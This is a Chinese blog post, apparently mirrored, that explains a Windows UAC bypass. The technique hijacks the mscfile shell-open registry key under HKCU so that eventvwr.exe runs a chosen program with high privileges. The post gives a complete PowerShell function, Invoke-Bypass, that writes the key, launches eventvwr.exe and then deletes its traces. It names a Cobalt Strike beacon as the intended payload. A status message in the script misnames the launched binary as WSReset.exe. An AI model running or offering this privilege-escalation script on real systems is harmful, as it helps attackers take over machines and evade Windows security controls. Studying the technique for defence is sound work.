zoukankan      html  css  js  c++  java
  • Bypass UAC

    一、UAC介绍

     UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。

    当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac

    二、利用注册表bypass uac

    HKCU = HKEY_CURRENT_USER
    HKLM = HKEY_LOCAL_MACHINE
    HKCR = HKEY_CLASSES_ROOT
    一些高权限的程序会调用 HKCR:下的键值,通过修改 HKCU下面的键值同步修改HKCR 下的键值,把原来得值改成想运行得程序比如beacon.exe,如果高权限得程序运行过程会调用这个键值,就会以高权限运行我们得程序达到bypass uac

    sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。

    找的话要找highestAvailable得属性,使用Process Monitor进行过滤规则的选择,找到程序eventvwr.exe,找到其调用过程,可以发现这条注册表的项它会进行查询

    eventvwr.exe 首先查询键值 HKCUSoftwareClassesmscfileshellopencommand,查询结果为 NAME NOT FOUND;

      eventvwr.exe 接着查询键值 HKCRmscfileshellopencommand,结果为 SUCCESS,因为修改注册表HKCUSoftwareClassesmscfileshellopencommand得值只需要普通用户权限,所以修改为calc.exe进行测试

    win10测试发现没有加载这个注册表路径,win7存在,但是需要手动添加后面得选项shellopencommand,如下图所示成功弹出calc.exe

    calc.exe程序权限为 high,成功绕过 UAC。

     

    powershell自动化添加:powershell.exe -exec bypass -Command "& {Import-Module .ypass.ps1;Invoke-Bypass }"

    function Invoke-Bypass {
          Param (
          [String]$Command = "C:WindowsSystem32cmd.exe /c start cmd.exe"
          )
    
          $CommandPath = "HKCU:SoftwareClassesmscfileshellopencommand"
          $filePath = "HKCU:SoftwareClassesmscfileshellopencommand"
          New-Item $CommandPath -Force | Out-Null
          New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
          Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
          Write-Host "[+] Registry entry has been created successfully!"
    
          $Process = Start-Process -FilePath "C:WindowsSystem32eventvwr.exe" -WindowStyle Hidden
          Write-Host "[+] Starting WSReset.exe"
    
          Write-Host "[+] Triggering payload.."
          Start-Sleep -Seconds 5
    
          if (Test-Path $filePath) {
          Remove-Item $filePath -Recurse -Force
          Write-Host "[+] Cleaning up registry entry"
          }
    }
    

    参考链接:

    Win10bypass:https://www.chabug.org/tools/1714.html

    http://blog.leanote.com/post/snowming/ec21a4823438

  • 相关阅读:
    EntityFramework优缺点
    领导者与管理者的区别
    七个对我最好的职业建议(精简版)
    The best career advice I’ve received
    Difference between Stored Procedure and Function in SQL Server
    2015年上半年一次通过 信息系统项目管理师
    Difference between WCF and Web API and WCF REST and Web Service
    What’s the difference between data mining and data warehousing?
    What is the difference between a Clustered and Non Clustered Index?
    用new创建函数的过程发生了什么
  • 原文地址:https://www.cnblogs.com/websecyw/p/12978807.html
Copyright © 2011-2022 走看看